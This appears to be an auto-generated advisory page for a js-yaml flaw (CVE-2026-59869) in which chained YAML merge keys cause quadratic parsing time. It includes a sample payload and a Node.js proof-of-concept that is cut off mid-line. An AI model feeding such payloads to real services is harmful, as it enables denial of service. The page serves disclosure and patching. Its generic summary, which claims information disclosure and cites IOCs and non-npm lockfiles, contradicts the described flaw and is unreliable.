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CVE-2026-59869 high CVSS 7.5

Vulnerability in js-yaml (CVE-2026-59869)

Summary

Vulnerability in js-yaml (CVE-2026-59869). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 4.3.0 or later.

Original description

The description as published by the source.

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Ob…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

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A vulnerability tracked as CVE-2026-59869 has been found in js-yaml.
Risk of unauthorized operations or information disclosure. CVSS score: 7.5/10.
What to do: upgrade js-yaml to 4.3.0 or later.
If unsure, ask your IT team or search "js-yaml CVE-2026-59869" on the vendor's site.

CVE-2026-59869 (js-yaml) — CWE-400 / CVSS v3 7.5
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Patched: 4.3.0 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-400) exists in js-yaml.

📍 Affected scope

Check the vendor advisory for the affected versions of js-yaml.

🔥 Severity

Severity: High (CVSS 7.5/10). Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 4.3.0.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'js-yaml' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'js-yaml' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で js-yaml を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade js-yaml to 4.3.0

    ステージング環境で 4.3.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm js-yaml
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.0"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

References

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